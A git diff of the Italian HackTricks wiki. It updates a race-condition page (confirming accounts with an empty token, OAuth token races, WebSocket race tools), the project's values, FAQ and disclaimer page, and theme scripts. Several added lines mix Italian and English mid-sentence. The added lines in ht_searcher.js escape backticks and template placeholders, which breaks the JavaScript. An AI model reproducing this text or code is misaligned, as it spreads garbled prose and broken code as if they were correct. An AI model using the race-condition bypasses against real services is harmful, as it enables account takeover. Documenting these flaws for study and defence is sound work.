-Secondo [**this research**](https://portswigger.net/research/smashing-the-state-machine) Gitlab era vulnerabile a takeover in questo modo perché poteva **inviare** l'**email verification token di un'email all'altra email**.
+Secondo [**this research**](https://portswigger.net/research/smashing-the-state-machine) Gitlab era vulnerabile a un takeover in questo modo perché potrebbe **send** the **email verification token of one email to the other email**.
 
-**Dai un'occhiata a** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **per provarlo.**
+**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **to try this.**
 
-### Stati nascosti del Database / Bypass della conferma
+### Hidden Database states / Confirmation Bypass
 
-Se vengono usate **2 scritture diverse** per **aggiungere** **informazione** all'interno di un **database**, esiste un breve intervallo di tempo in cui **solo i primi dati sono stati scritti** nel database. Per esempio, quando si crea un utente lo **username** e la **password** potrebbero essere **scritti** e **solo dopo viene scritto il token** per confermare l'account appena creato. Questo significa che per un breve periodo il **token per confermare un account è null**.
+Se **2 different writes** sono usate per **add** **information** dentro un **database**, esiste una piccola porzione di tempo in cui **solo il primo dato è stato scritto** nel database. Per esempio, quando si crea un utente lo **username** e la **password** potrebbero essere **written** e poi il token per confermare il nuovo account viene scritto. Questo significa che per un breve periodo il **token to confirm an account is null**.
 
-Therefore **registrare un account e inviare diverse richieste con un token vuoto** (`token=` or `token[]=` or any other variation) to confirm the account right away could allow to c**onfermare un account** where you don't control the email.
+Pertanto **registering an account and sending several requests with an empty token** (`token=` or `token[]=` or any other variation) per confermare immediatamente l'account potrebbe permettere di c**onfermare un account** dove non controlli l'email.
 
-**Dai un'occhiata a** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **per provarlo.**
+**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **to try this.**
 
 ### Bypass 2FA
 
@@ -355,24 +363,23 @@ session['enforce_mfa'] = True
 # generate and send MFA code to user
 # redirect browser to MFA code entry form
 ```
-### OAuth2 persistenza eterna
+### OAuth2 persistena eterna
 
-Esistono diversi [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Questi servizi ti permettono di creare un'applicazione e autenticare gli utenti registrati presso il provider.  
-Per farlo, il **client** dovrà **permettere alla tua applicazione** di accedere ad alcuni dei loro dati all'interno del **OAUth provider**.\
-Quindi, fin qui è solo un normale login con google/linkedin/github... dove ti viene mostrata una pagina che dice: "_L'applicazione \<InsertCoolName> vuole accedere alle tue informazioni, vuoi consentirlo?_" 
+There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Questi servizi ti permettono di creare un'applicazione e autenticare gli utenti che il provider ha registrato. Per farlo, il **client** dovrà **permettere alla tua applicazione** di accedere ad alcuni dei loro dati all'interno del **OAUth provider**.\
+Quindi, fino a qui è solo un login comune con google/linkedin/github... dove ti viene mostrata una pagina che dice: "_Application \<InsertCoolName> wants to access you information, do you want to allow it?_"
 
 #### Race Condition in `authorization_code`
 
-Il **problema** si manifesta quando lo **accetti** e viene inviato automaticamente un **`authorization_code`** all'applicazione dannosa. Quindi, questa **application sfrutta una Race Condition nel provider OAUth per generare più di una coppia di AT/RT** (_Authentication Token/Refresh Token_) a partire dal **`authorization_code`** per il tuo account. Fondamentalmente, sfrutterà il fatto che hai accettato che l'applicazione acceda ai tuoi dati per **creare più account**. Quindi, se **smetti di consentire all'applicazione l'accesso ai tuoi dati**, una coppia di AT/RT verrà eliminata, ma le altre rimarranno comunque valide.
+Il **problema** si presenta quando **accetti** e viene automaticamente inviato un **`authorization_code`** all'applicazione malevola. Poi, questa **applicazione sfrutta una Race Condition nel servizio OAUth per generare più di un AT/RT** (_Authentication Token/Refresh Token_) dallo **`authorization_code`** per il tuo account. Fondamentalmente, abuserà del fatto che hai accettato che l'applicazione acceda ai tuoi dati per **creare diversi account**. Quindi, se **smetti di permettere all'applicazione di accedere ai tuoi dati**, una coppia di AT/RT verrà cancellata, ma le altre rimarranno comunque valide.
 
 #### Race Condition in `Refresh Token`
 
-Una volta che hai **ottenuto un RT valido** puoi provare a **sfruttarlo per generare diverse coppie AT/RT** e **anche se l'utente revoca i permessi** all'applicazione dannosa di accedere ai suoi dati, **diversi RT rimarranno comunque validi.**
+Una volta ottenuto un RT valido potresti provare ad **abusarne per generare diversi AT/RT** e **anche se l'utente revoca i permessi** per l'applicazione malevola di accedere ai suoi dati, **diversi RT rimarranno comunque validi.**
 
 ## **RC in WebSockets**
 
-- In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) puoi trovare un PoC in Java per inviare messaggi WebSocket in **parallelo** per sfruttare **Race Conditions anche in Web Sockets**.
-- Con Burp’s WebSocket Turbo Intruder puoi usare il motore **THREADED** per creare più connessioni WS e inviare payload in parallelo. Parti dall'esempio ufficiale e regola `config()` (thread count) per la concorrenza; questo è spesso più affidabile rispetto al batching su una singola connessione quando si effettua una race sullo stato lato server attraverso gli handler WS. Vedi [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py).
+- In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) puoi trovare una PoC in Java per inviare messaggi websocket in **parallelo** e sfruttare **Race Conditions anche in Web Sockets**.
+- Con WebSocket Turbo Intruder di Burp puoi usare il motore **THREADED** per avviare più connessioni WS e inviare payload in parallelo. Parti dall'esempio ufficiale e regola `config()` (thread count) per la concorrenza; questo è spesso più affidabile rispetto al batching su una singola connessione quando si gareggia con lo stato lato server attraverso gli handler WS. Vedi [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py).
 
 ## References
 

src/welcome/hacktricks-values-and-faq.md

@@ -7,15 +7,15 @@
 > [!TIP]
 > Questi sono i **valori del progetto HackTricks**:
 >
-> - Fornire accesso **FREE** a risorse **EDUCATIONAL hacking** a **TUTTI** su Internet.
->  - L'hacking riguarda l'apprendimento, e l'apprendimento dovrebbe essere il più gratuito possibile.
->  - Lo scopo di questo libro è servire come una completa **risorsa educativa**.
-> - **STORE** tecniche **hacking** incredibili che la community pubblica dando agli **AUTORI** **ORIGINALI** tutti i **crediti**.
->  - **Non vogliamo i crediti altrui**, vogliamo solo conservare trucchi interessanti per tutti.
->  - Scriviamo anche le **nostre ricerche** in HackTricks.
->  - In diversi casi scriveremo solo **in HackTricks un riassunto delle parti importanti** della tecnica e **incoraggeremo il lettore a visitare il post originale** per maggiori dettagli.
+> - Dare accesso **GRATIS** a risorse educative di **hacking** a **TUTTO** Internet.
+>  - Hacking riguarda l'apprendimento, e l'apprendimento dovrebbe essere il più libero possibile.
+>  - Lo scopo di questo libro è fungere da comprensiva **risorsa educativa**.
+> - **ARCHIVIARE** tecniche di **hacking** straordinarie che la community pubblica dando agli **AUTORI ORIGINALI** tutti i **crediti**.
+>  - **Non vogliamo i meriti di altre persone**, vogliamo solo conservare trucchi interessanti per tutti.
+>  - Scriviamo anche **le nostre ricerche** in HackTricks.
+>  - In diversi casi scriveremo **su HackTricks un riassunto delle parti importanti** della tecnica e **incoraggeremo il lettore a visitare il post originale** per maggiori dettagli.
 > - **ORGANIZZARE** tutte le tecniche di hacking nel libro in modo che sia **PIÙ ACCESSIBILE**
->  - Il team di HackTricks ha dedicato migliaia di ore gratuitamente **solo per organizzare il contenuto** così le persone possono **imparare più velocemente**
+>  - Il team HackTricks ha dedicato migliaia di ore gratuitamente **solo per organizzare il contenuto** così le persone possono **imparare più velocemente**
 
 <figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
 
@@ -23,35 +23,35 @@
 
 > [!TIP]
 >
-> - **Thank you so much for these resources, how can I thank you?**
+> - **Grazie mille per queste risorse, come posso ringraziarvi?**
 
-Puoi ringraziare pubblicamente il team di HackTricks per aver messo insieme tutte queste risorse con un tweet menzionando [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
+Puoi ringraziare pubblicamente il team di HackTricks per aver raccolto tutte queste risorse pubblicamente con un tweet menzionando [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
 Se sei particolarmente riconoscente puoi anche [**sponsorizzare il progetto qui**](https://github.com/sponsors/carlospolop).\
-E non dimenticare di **mettere una stella ai progetti Github!** (Trova i link qui sotto).
+E non dimenticare di **dare una stella ai progetti su Github!** (Trova i link sotto).
 
 > [!TIP]
 >
-> - **How can I contribute to the project?**
+> - **Come posso contribuire al progetto?**
 
 Puoi **condividere nuovi consigli e trucchi con la community o correggere bug** che trovi nei libri inviando una **Pull Request** alle rispettive pagine Github:
 
 - [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
 - [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
 
-Non dimenticare di **mettere una stella ai progetti Github!**
+Non dimenticare di **dare una stella ai progetti su Github!**
 
 > [!TIP]
 >
-> - **Can I copy some content from HackTricks and put it in my blog?**
+> - **Posso copiare del contenuto da HackTricks e pubblicarlo sul mio blog?**
 
-Sì, puoi, ma **non dimenticare di menzionare il link (o i link) specifico(i)** da cui il contenuto è stato preso.
+Sì, puoi, ma **non dimenticare di menzionare il(i) link specifico(i)** da cui il contenuto è stato preso.
 
 > [!TIP]
 >
-> - **How can I cite a page of HackTricks?**
+> - **Come posso citare una pagina di HackTricks?**
 
-Finché appare il link **della** pagina (o delle pagine) da cui hai preso l'informazione è sufficiente.\
-Se hai bisogno di un bibtex puoi usare qualcosa del tipo:
+Finché appare il link **della** pagina(o delle pagine) da cui hai tratto le informazioni è sufficiente.\
+Se ti serve un bibtex puoi usare qualcosa del tipo:
 ```latex
 @misc{hacktricks-bibtexing,
 author = {"HackTricks Team" or the Authors name of the specific page/trick},
@@ -62,82 +62,82 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
 ```
 > [!WARNING]
 >
-> - **Posso copiare tutti gli HackTricks sul mio blog?**
+> - **Posso copiare tutti i contenuti di HackTricks nel mio blog?**
 
-**Preferirei di no**. Questo **non porterà vantaggi a nessuno** dato che tutto il **contenuto è già pubblicamente disponibile** nei libri ufficiali di HackTricks gratuitamente.
+**Preferirei di no**. Questo **non gioverebbe a nessuno** visto che **tutto il contenuto è già disponibile pubblicamente** nei libri ufficiali di HackTricks gratuitamente.
 
-Se temi che possa scomparire, semplicemente fai fork su Github o scaricalo; come ho detto è già gratuito.
+Se temi che possa scomparire, fai semplicemente un fork su Github o scaricalo; come ho detto è già gratis.
 
 > [!WARNING]
 >
-> - **Perché avete sponsor? I libri di HackTricks hanno scopo commerciale?**
+> - **Perché avete sponsor? I libri di HackTricks sono a scopo commerciale?**
 
-Il primo valore di **HackTricks** è offrire risorse educative di hacking **GRATUITE** a TUTTO il mondo. Il team di HackTricks ha **dedicato migliaia di ore** per offrire questo contenuto, ancora, **GRATIS**.
+Il primo **valore** di **HackTricks** è offrire risorse educative di hacking **GRATUITE** a **TUTTO** il mondo. Il team di HackTricks ha **dedicato migliaia di ore** per offrire questo contenuto, ancora una volta, **GRATIS**.
 
-Se pensi che i libri di HackTricks siano fatti per **scopi commerciali**, ti sbagli **COMPLETAMENTE**.
+Se pensi che i libri di HackTricks siano fatti per **scopi commerciali** ti stai **COMPLETAMENTE SBAGLIANDO**.
 
-Abbiamo sponsor perché, anche se tutto il contenuto è GRATUITO, vogliamo **offrire alla community la possibilità di apprezzare il nostro lavoro** se lo desiderano. Perciò offriamo alle persone la possibilità di donare a HackTricks tramite [**Github sponsors**](https://github.com/sponsors/carlospolop), e a **aziende di cybersecurity rilevanti** di sponsorizzare HackTricks e di **inserire alcune pubblicità** nel libro, con le **pubblicità** sempre posizionate in punti che le rendono **visibili** ma che **non disturbano il processo di apprendimento** se qualcuno si concentra sul contenuto.
+Abbiamo sponsor perché, anche se tutto il contenuto è GRATUITO, vogliamo **offrire alla community la possibilità di apprezzare il nostro lavoro** se lo desidera. Pertanto, offriamo alle persone l'opzione di donare a HackTricks tramite [**Github sponsors**](https://github.com/sponsors/carlospolop), e **aziende rilevanti nel settore della cybersecurity** possono sponsorizzare HackTricks e inserire **alcuni annunci** nel libro, posizionati sempre in posti che li rendono **visibili** ma che **non disturbano** il processo di apprendimento se qualcuno si concentra sul contenuto.
 
-Non troverai HackTricks pieno di pubblicità fastidiose come altri blog con molto meno contenuto di HackTricks, perché HackTricks non è fatto per scopi commerciali.
+Non troverai HackTricks pieno di annunci fastidiosi come altri blog con molto meno contenuto rispetto a HackTricks, perché HackTricks non è fatto per scopi commerciali.
 
 > [!CAUTION]
 >
-> - **Cosa devo fare se qualche pagina di HackTricks si basa su un mio post del blog ma non viene citata?**
+> - **Cosa devo fare se qualche pagina di HackTricks è basata su un mio post del blog ma non è referenziata?**
 
-**Ci dispiace molto. Questo non dovrebbe essere accaduto**. Per favore, faccelo sapere tramite Github issues, Twitter, Discord... il link della pagina HackTricks con il contenuto e il link del tuo blog e **lo verificheremo e lo aggiungeremo il prima possibile**.
+**Siamo molto dispiaciuti. Questo non dovrebbe essere successo**. Ti preghiamo di farcelo sapere tramite Github issues, Twitter, Discord... il link della pagina HackTricks con il contenuto e il link del tuo blog e **verificheremo e aggiungeremo il riferimento il prima possibile**.
 
 > [!CAUTION]
 >
-> - **Cosa devo fare se c'è contenuto del mio blog in HackTricks e non voglio che sia lì?**
+> - **Cosa devo fare se c'è contenuto del mio blog in HackTricks e non voglio che ci sia?**
 
-Nota che avere link alla tua pagina in HackTricks:
+Nota che avere link alla tua pagina su HackTricks:
 
 - Migliora la tua **SEO**
-- Il contenuto viene **tradotto in più di 15 lingue**, permettendo a più persone di accedere a questo contenuto
-- **HackTricks incoraggia** le persone a **consultare la tua pagina** (diverse persone ci hanno detto che da quando una loro pagina è su HackTricks ricevono più visite)
+- Il contenuto viene **tradotto in più di 15 lingue**, rendendo possibile a più persone l'accesso a questo contenuto
+- **HackTricks incoraggia** le persone a **visitare la tua pagina** (diverse persone ci hanno riferito che da quando una loro pagina è su HackTricks ricevono più visite)
 
-Tuttavia, se desideri comunque che il contenuto del tuo blog venga rimosso da HackTricks basta che ce lo comunichi e noi provvederemo sicuramente a **rimuovere ogni link al tuo blog**, e qualsiasi contenuto basato su di esso.
+Tuttavia, se vuoi comunque che il contenuto del tuo blog venga rimosso da HackTricks, comunicacelo e provvederemo sicuramente a **rimuovere ogni link al tuo blog** e qualsiasi contenuto basato su di esso.
 
 > [!CAUTION]
 >
 > - **Cosa devo fare se trovo contenuti copiati/incollati in HackTricks?**
 
-Attribuiamo sempre **tutti i crediti agli autori originali**. Se trovi una pagina con contenuto copiato/incollato senza la fonte originale citata, faccelo sapere e noi provvederemo o a **rimuoverla**, o a **aggiungere il link prima del testo**, o a **riscriverla aggiungendo il link**.
+Di solito **diamo tutti i crediti agli autori originali**. Se trovi una pagina con contenuti copiati senza la fonte originale referenziata, faccelo sapere e provvederemo o a **rimuoverla**, o a **aggiungere il link prima del testo**, o a **riscriverla aggiungendo il link**.
 
 ## LICENZA
 
 Copyright © Tutti i diritti riservati salvo diversa indicazione.
 
-#### Sommario della licenza:
+#### Riepilogo della licenza:
 
 - Attribuzione: Sei libero di:
-  - Condividere — copiare e ridistribuire il materiale in qualsiasi mezzo o formato.
-  - Adattare — remixare, trasformare e sviluppare il materiale.
+- Share — copiare e ridistribuire il materiale in qualsiasi mezzo o formato.
+- Adapt — remixare, trasformare e sviluppare materiale a partire dal contenuto.
 
 #### Termini aggiuntivi:
 
-- Contenuti di terze parti: Alcune parti di questo blog/libro possono includere contenuti da altre fonti, come estratti da altri blog o pubblicazioni. L'uso di tali contenuti avviene secondo i principi del fair use o con permesso esplicito dei rispettivi titolari del copyright. Si prega di fare riferimento alle fonti originali per informazioni specifiche sulla licenza riguardante i contenuti di terze parti.
-- Autoria: Il contenuto originale creato da HackTricks è soggetto ai termini di questa licenza. Sei incoraggiato ad attribuire questo lavoro all'autore quando lo condividi o lo adatti.
+- Contenuti di terze parti: Alcune parti di questo blog/libro possono includere contenuti provenienti da altre fonti, come estratti da altri blog o pubblicazioni. L'uso di tali contenuti avviene secondo i principi del fair use o con il permesso esplicito dei rispettivi titolari del copyright. Si prega di consultare le fonti originali per informazioni specifiche sulla licenza riguardante i contenuti di terze parti.
+- Autorialità: Il contenuto originale creato da HackTricks è soggetto ai termini di questa licenza. Si incoraggia ad attribuire questo lavoro all'autore quando lo si condivide o si adatta.
 
 #### Esenzioni:
 
-- Uso commerciale: Per richieste riguardo l'uso commerciale di questo contenuto, contattami per favore.
+- Uso commerciale: Per richieste riguardanti l'uso commerciale di questo contenuto, contattami.
 
-Questa licenza non concede diritti su marchi o branding relativi al contenuto. Tutti i marchi e i branding presenti in questo blog/libro sono di proprietà dei rispettivi detentori.
+Questa licenza non concede alcun diritto su marchi o branding relativi al contenuto. Tutti i marchi e i brand presenti in questo blog/libro sono proprietà dei rispettivi proprietari.
 
-**Accedendo o utilizzando HackTricks, accetti di rispettare i termini di questa licenza. Se non sei d'accordo con questi termini, per favore, non accedere a questo sito web.**
+**Accedendo o utilizzando HackTricks, accetti di rispettare i termini di questa licenza. Se non sei d'accordo con questi termini, per favore non accedere a questo sito.**
 
 ## **Esclusione di responsabilità**
 
 > [!CAUTION]
-> Questo libro, 'HackTricks', è destinato esclusivamente a scopi educativi e informativi. Il contenuto di questo libro è fornito 'così com'è', e gli autori e gli editori non rilasciano alcuna dichiarazione o garanzia di alcun tipo, esplicita o implicita, riguardo alla completezza, accuratezza, affidabilità, idoneità, o disponibilità delle informazioni, prodotti, servizi, o grafica correlata contenuti in questo libro. Qualsiasi affidamento che fai su tali informazioni è pertanto esclusivamente a tuo rischio.
+> Questo libro, 'HackTricks', è destinato esclusivamente a scopi educativi e informativi. Il contenuto di questo libro è fornito "così com'è", e gli autori e gli editori non rilasciano alcuna dichiarazione o garanzia di alcun tipo, espressa o implicita, riguardo alla completezza, accuratezza, affidabilità, idoneità o disponibilità delle informazioni, dei prodotti, dei servizi o dei materiali correlati contenuti in questo libro. Qualsiasi affidamento su tali informazioni è quindi esclusivamente a tuo rischio.
 >
-> In nessun caso gli autori e gli editori saranno responsabili per qualsiasi perdita o danno, inclusi, senza limitazioni, perdite o danni indiretti o consequenziali, o qualsiasi perdita o danno derivante dalla perdita di dati o profitti derivanti dall'uso di questo libro o in connessione con esso.
+> Gli autori e gli editori non saranno in alcun caso responsabili per qualsiasi perdita o danno, inclusi, senza limitazione, perdite o danni indiretti o consequenziali, o qualsiasi perdita o danno derivante dalla perdita di dati o profitti derivanti da, o in connessione con, l'uso di questo libro.
 >
-> Inoltre, le tecniche e i suggerimenti descritti in questo libro sono forniti esclusivamente a scopi educativi e informativi, e non devono essere utilizzati per attività illegali o dannose. Gli autori e gli editori non approvano né supportano attività illegali o non etiche, e qualsiasi uso delle informazioni contenute in questo libro avviene a discrezione e a rischio dell'utente.
+> Inoltre, le tecniche e i suggerimenti descritti in questo libro sono forniti a scopo educativo e informativo solamente, e non dovrebbero essere utilizzati per attività illegali o malevole. Gli autori e gli editori non avallano né supportano alcuna attività illegale o non etica, e qualsiasi uso delle informazioni contenute in questo libro è a esclusivo rischio e discrezione dell'utente.
 >
-> L'utente è l'unico responsabile per qualsiasi azione intrapresa sulla base delle informazioni contenute in questo libro, e dovrebbe sempre cercare consulenza e assistenza professionale quando tenta di implementare qualsiasi tecnica o suggerimento qui descritti.
+> L'utente è l'unico responsabile per le azioni intraprese sulla base delle informazioni contenute in questo libro, e dovrebbe sempre cercare consulenza e assistenza professionale quando tenta di implementare tecniche o suggerimenti qui descritti.
 >
-> Usando questo libro, l'utente accetta di liberare gli autori e gli editori da qualsiasi responsabilità per danni, perdite o pregiudizi che possano risultare dall'uso di questo libro o di qualsiasi informazione in esso contenuta.
+> Utilizzando questo libro, l'utente accetta di sollevare gli autori e gli editori da qualsiasi e ogni responsabilità e responsabilità per eventuali danni, perdite o pregiudizi che possano derivare dall'uso di questo libro o di qualsiasi informazione in esso contenuta.
 
 {{#include ../banners/hacktricks-training.md}}

theme/ai.js

@@ -491,3 +491,4 @@
     handle.addEventListener("touchstart", onStart, { passive: false });
   }
 })();
+

theme/ht_searcher.js

@@ -68,11 +68,11 @@
       const mainReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks/releases/download';
       const cloudReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks-cloud/releases/download';
 
-      const mainTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master']));
-      const cloudTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master']));
+      const mainTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master']));
+      const cloudTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master']));
 
-      const MAIN_REMOTE_SOURCES  = mainTags.map(tag => `${mainReleaseBase}/${tag}/searchindex.js`);
-      const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => `${cloudReleaseBase}/${tag}/searchindex.js`);
+      const MAIN_REMOTE_SOURCES  = mainTags.map(tag => \`\${mainReleaseBase}/\${tag}/searchindex.js\`);
+      const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => \`\${cloudReleaseBase}/\${tag}/searchindex.js\`);
 
       const indices = [];
       const main = await loadWithFallback(MAIN_REMOTE_SOURCES , '/searchindex.js',        false); if(main)  indices.push(main);
@@ -208,3 +208,4 @@
     listOut.classList.toggle('hidden',!docs.length);
   };
 })();
+